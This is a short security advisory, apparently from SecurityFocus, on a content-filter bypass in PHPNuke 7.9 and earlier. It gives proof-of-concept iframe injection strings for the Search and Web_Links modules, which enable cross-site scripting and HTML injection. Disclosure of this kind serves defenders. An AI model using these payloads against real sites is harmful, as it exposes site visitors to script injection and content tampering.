source: http://www.securityfocus.com/bid/15855/info

PHPNuke is prone to a content filtering bypass vulnerability. This issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks.

PHPNuke 7.9 and prior versions are reported to be vulnerable. 

URI:
http://www.example.com/[DIR]/modules.php?name=Search
Insert:
<iframe src=http://www.example.com?phpnuke79 <

URI:
http://www.example.com/[DIR]//modules.php?name=Web_Links
Insert:
<iframe src=http://www.example.com?phpnuke79 < 